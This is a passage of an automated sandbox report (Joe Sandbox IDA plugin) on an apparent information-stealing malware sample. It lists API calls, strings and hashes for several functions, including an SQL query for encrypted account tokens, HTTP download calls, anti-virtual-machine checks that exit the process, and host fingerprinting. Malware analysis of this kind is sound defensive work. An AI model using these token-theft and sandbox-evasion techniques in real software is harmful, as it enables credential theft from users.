Associated: 00000004.00000002.2180117872.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2886426298-3474575989
Opcode ID: 7e71b2cf3ab39a96845f2c5ec6281b05558ac3270fef8c112806fab1e15290c3
Instruction ID: 96825d9750bf8db03c9b3ba7d6dfdbb869a7567600a83181e99cf30d3b71d0f4
Opcode Fuzzy Hash: 7e71b2cf3ab39a96845f2c5ec6281b05558ac3270fef8c112806fab1e15290c3
Instruction Fuzzy Hash: CD210BB1E44218BBDB00DFD5CC49FAEB7B9FB45B14F104609F605BB280D77869018BA9

Function 0040BA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 00409E10: memcmp.MSVCRT(?,v20,00000003), ref: 00409E2D

lstrlenA.KERNEL32(00000000), ref: 0040BC9F

Part of subcall function 00418E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00418E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 0040BCCD
lstrlenA.KERNEL32(00000000), ref: 0040BDA5
lstrlenA.KERNEL32(00000000), ref: 0040BDB9

Strings

AccountTokens, xrefs: 0040BB49
SELECT service, encrypted_token FROM token_service, xrefs: 0040BBEB
AccountTokens, xrefs: 0040BABA
AccountId, xrefs: 0040BCC4

Memory Dump Source

Source File: 00000004.00000002.2180117872.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2180117872.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocalmemcmp
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 1440504306-1079375795
Opcode ID: aa59afd4286b4fbca944ed137d6685f3849f1989eb57c629a34f8132c821df51
Instruction ID: 1db97c5984eaf975dbf010622291b68d8c4d82df198c84c91f10bdfb5a5a1c79
Opcode Fuzzy Hash: aa59afd4286b4fbca944ed137d6685f3849f1989eb57c629a34f8132c821df51
Instruction Fuzzy Hash: 8CB19671911108ABDB04FBA1DD52EEE7339AF14314F40452EF506B2091EF386E99CBBA

Function 00404FB0 Relevance: 12.1, APIs: 8, Instructions: 82networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00404FCA
RtlAllocateHeap.NTDLL(00000000), ref: 00404FD1
InternetOpenA.WININET(00420DDF,00000000,00000000,00000000,00000000), ref: 00404FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00405011
InternetReadFile.WININET(00415EDB,?,00000400,00000000), ref: 00405041
memcpy.MSVCRT(00000000,?,00000001), ref: 0040508A
InternetCloseHandle.WININET(00415EDB), ref: 004050B9
InternetCloseHandle.WININET(?), ref: 004050C6

Memory Dump Source

Source File: 00000004.00000002.2180117872.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2180117872.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessReadmemcpy
String ID:
API String ID: 1008454911-0
Opcode ID: 6cf967ef785bb23c697623f5c6a033393d0fc44cd8035483208646c558320f55
Instruction ID: cb0899809939a0b3ab7ef321ba077ef70f04c27eec1e373fde9f1e9505320bf0
Opcode Fuzzy Hash: 6cf967ef785bb23c697623f5c6a033393d0fc44cd8035483208646c558320f55
Instruction Fuzzy Hash: 2A3108B8A40218ABDB20CF94DC85BDDB7B5EB48704F1081E9F709B7281C7746AC58F99

Function 004169F0 Relevance: 10.6, APIs: 7, Instructions: 89sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00419860: GetProcAddress.KERNEL32(74DD0000,00D43298), ref: 004198A1
Part of subcall function 00419860: GetProcAddress.KERNEL32(74DD0000,00D432B0), ref: 004198BA
Part of subcall function 00419860: GetProcAddress.KERNEL32(74DD0000,00D432C8), ref: 004198D2
Part of subcall function 00419860: GetProcAddress.KERNEL32(74DD0000,00D432E0), ref: 004198EA
Part of subcall function 00419860: GetProcAddress.KERNEL32(74DD0000,00D432F8), ref: 00419903
Part of subcall function 00419860: GetProcAddress.KERNEL32(74DD0000,00D43310), ref: 0041991B
Part of subcall function 00419860: GetProcAddress.KERNEL32(74DD0000,00D44698), ref: 00419933
Part of subcall function 00419860: GetProcAddress.KERNEL32(74DD0000,00D446B8), ref: 0041994C
Part of subcall function 00419860: GetProcAddress.KERNEL32(74DD0000,00D43320), ref: 00419964
Part of subcall function 00419860: GetProcAddress.KERNEL32(74DD0000,00D446D8), ref: 0041997C
Part of subcall function 00419860: GetProcAddress.KERNEL32(74DD0000,00D446F0), ref: 00419995
Part of subcall function 00419860: GetProcAddress.KERNEL32(74DD0000,00D404B0), ref: 004199AD
Part of subcall function 00419860: GetProcAddress.KERNEL32(74DD0000,00D404C8), ref: 004199C5
Part of subcall function 00419860: GetProcAddress.KERNEL32(74DD0000,00D47810), ref: 004199DE

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 004011D0: CreateDCA.GDI32(00D40598,00000000,00000000,00000000), ref: 004011E2
Part of subcall function 004011D0: GetDeviceCaps.GDI32(?,0000000A), ref: 004011F1
Part of subcall function 004011D0: ReleaseDC.USER32(00000000,?), ref: 00401200
Part of subcall function 004011D0: ExitProcess.KERNEL32 ref: 00401211

Part of subcall function 00401160: GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,00416A17,00420AEF), ref: 0040116A
Part of subcall function 00401160: ExitProcess.KERNEL32 ref: 0040117E

Part of subcall function 00401110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,?,?,00416A1C), ref: 0040112B
Part of subcall function 00401110: VirtualAllocExNuma.KERNEL32(00000000,?,?,00416A1C), ref: 00401132
Part of subcall function 00401110: ExitProcess.KERNEL32 ref: 00401143

Part of subcall function 00401220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0040123E
Part of subcall function 00401220: __aulldiv.LIBCMT ref: 00401258
Part of subcall function 00401220: __aulldiv.LIBCMT ref: 00401266
Part of subcall function 00401220: ExitProcess.KERNEL32 ref: 00401294

Part of subcall function 00416770: GetUserDefaultLangID.KERNEL32(?,?,00416A26,00420AEF), ref: 00416774

GetUserDefaultLCID.KERNEL32 ref: 00416A26

Part of subcall function 00401190: ExitProcess.KERNEL32 ref: 004011C6

Part of subcall function 00417850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417880
Part of subcall function 00417850: HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417887
Part of subcall function 00417850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041789F

Part of subcall function 004178E0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00416A2B), ref: 00417910
Part of subcall function 004178E0: HeapAlloc.KERNEL32(00000000,?,?,?,00416A2B), ref: 00417917
Part of subcall function 004178E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0041792F

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,00D40578,?,0042110C,?,00000000,?,00421110,?,00000000,00420AEF), ref: 00416ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00416AE8
CloseHandle.KERNEL32(00000000), ref: 00416AF9
Sleep.KERNEL32(00001770), ref: 00416B04
CloseHandle.KERNEL32(?,00000000,?,00D40578,?,0042110C,?,00000000,?,00421110,?,00000000,00420AEF), ref: 00416B1A
ExitProcess.KERNEL32 ref: 00416B22

Memory Dump Source

Source File: 00000004.00000002.2180117872.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2180117872.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$AllocUserlstrcpy$CloseCreateDefaultEventHandleName__aulldiv$CapsComputerCurrentDeviceGlobalInfoLangMemoryNumaOpenReleaseSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 655105637-0
Opcode ID: d8804ea1bff6748de93bb0085dad6dc73f5e155af435cafa9a0d600a9b6efe0f
Instruction ID: 1c0ff58a553566d9d81a636820be0d4cb73d0efe44d476221655ae408a7450da
Opcode Fuzzy Hash: d8804ea1bff6748de93bb0085dad6dc73f5e155af435cafa9a0d600a9b6efe0f
Instruction Fuzzy Hash: E1317074940208AADB04FBF2DC56BEE7339AF04344F10042EF102A61D2DF7C6986C6AE

Function 004183DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00418426
wsprintfA.USER32 ref: 00418459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0041847B
RegCloseKey.ADVAPI32(00000000), ref: 0041848C
RegCloseKey.ADVAPI32(00000000), ref: 00418499

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

RegQueryValueExA.KERNEL32(00000000,00D55E58,00000000,000F003F,?,00000400), ref: 004184EC
lstrlenA.KERNEL32(?), ref: 00418501
RegQueryValueExA.KERNEL32(00000000,00D55D38,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00420B34), ref: 00418599
RegCloseKey.KERNEL32(00000000), ref: 00418608
RegCloseKey.ADVAPI32(00000000), ref: 0041861A

Strings

%s\%s, xrefs: 0041844D

Memory Dump Source

Source File: 00000004.00000002.2180117872.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2180117872.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: 2745a0ba8eb15d3c1f0b65b5c657a669296e82b89610ecc7bb468d10700aed3a
Instruction ID: cdbcbf4b9f8a1ecee5159c9abe2ba9d8dffcfa3e02281556f53420590b8fae77
Opcode Fuzzy Hash: 2745a0ba8eb15d3c1f0b65b5c657a669296e82b89610ecc7bb468d10700aed3a
Instruction Fuzzy Hash: 7B210A75940218AFDB24DB54DC85FE9B3B9FB48704F00C199E60996140DF756A85CFD4

Function 004047B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 60stringnetworkCOMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(00000800), ref: 004047EA
??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404801
??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404818
lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404839
InternetCrackUrlA.WININET(00000000,00000000), ref: 00404849

Strings

<, xrefs: 004047C9

Memory Dump Source

Source File: 00000004.00000002.2180117872.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2180117872.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: ??2@$CrackInternetlstrlen
String ID: <
API String ID: 1683549937-4251816714
Opcode ID: c386c9d0d73067ea41f4377aeaa2fd448281082c22fa9440fc98d6664c6993a8
Instruction ID: 59ffd934fb977a93d501bba2862ecb1df6a0defd032b503e5e890a78b3955a81
Opcode Fuzzy Hash: c386c9d0d73067ea41f4377aeaa2fd448281082c22fa9440fc98d6664c6993a8
Instruction Fuzzy Hash: 712149B5D00219ABDF10DFA5E849BDD7B74FF04320F008229F925A7290EB706A15CF95

Function 00417690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 004176A4
HeapAlloc.KERNEL32(00000000), ref: 004176AB
RegOpenKeyExA.KERNEL32(80000002,00D510A8,00000000,00020119,00000000), ref: 004176DD
RegQueryValueExA.KERNEL32(00000000,00D55ED0,00000000,00000000,?,000000FF), ref: 004176FE
RegCloseKey.ADVAPI32(00000000), ref: 00417708

Strings

Windows 11, xrefs: 004176BD

Memory Dump Source

Source File: 00000004.00000002.2180117872.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2180117872.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3466090806-2517555085
Opcode ID: 31b5ee67880bd1f967030e6ea3d78f3b54130d435c20b4c8c69cbeacade70eac
Instruction ID: 0438ef7ee9a5fbee92b010be2e89678c99e6505f2a73f727aa840deaa157456b
Opcode Fuzzy Hash: 31b5ee67880bd1f967030e6ea3d78f3b54130d435c20b4c8c69cbeacade70eac
Instruction Fuzzy Hash: E0018FBDA80204BFE700DBE0DD49FAEB7BDEB09700F004055FA05D7290E674A9408B55

Function 00417720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417734
HeapAlloc.KERNEL32(00000000), ref: 0041773B
RegOpenKeyExA.KERNEL32(80000002,00D510A8,00000000,00020119,004176B9), ref: 0041775B
RegQueryValueExA.KERNEL32(004176B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 0041777A
RegCloseKey.ADVAPI32(004176B9), ref: 00417784

Strings

CurrentBuildNumber, xrefs: 00417771

Memory Dump Source

Source File: 00000004.00000002.2180117872.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2180117872.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3466090806-1022791448
Opcode ID: 43a46ff31c4728249bb55ffe5b6c0263db84e810ad24588de6037cbf7116cf65
Instruction ID: 98fe8272c38af2577472084bebc30d651685970d5c5bfe2bd2220dad028592af
Opcode Fuzzy Hash: 43a46ff31c4728249bb55ffe5b6c0263db84e810ad24588de6037cbf7116cf65
Instruction Fuzzy Hash: 0F0144BDA80308BFE710DFE0DC49FAEB7B9EB44704F104159FA05A7281DA7455408F51

Function 004140B0 Relevance: 9.1, APIs: 6, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 004140D5
RegOpenKeyExA.KERNEL32(80000001,00D557C8,00000000,00020119,?), ref: 004140F4
RegQueryValueExA.ADVAPI32(?,00D56260,00000000,00000000,00000000,000000FF), ref: 00414118
RegCloseKey.ADVAPI32(?), ref: 00414122
lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 00414147
lstrcatA.KERNEL32(?,00D56188), ref: 0041415B

Memory Dump Source

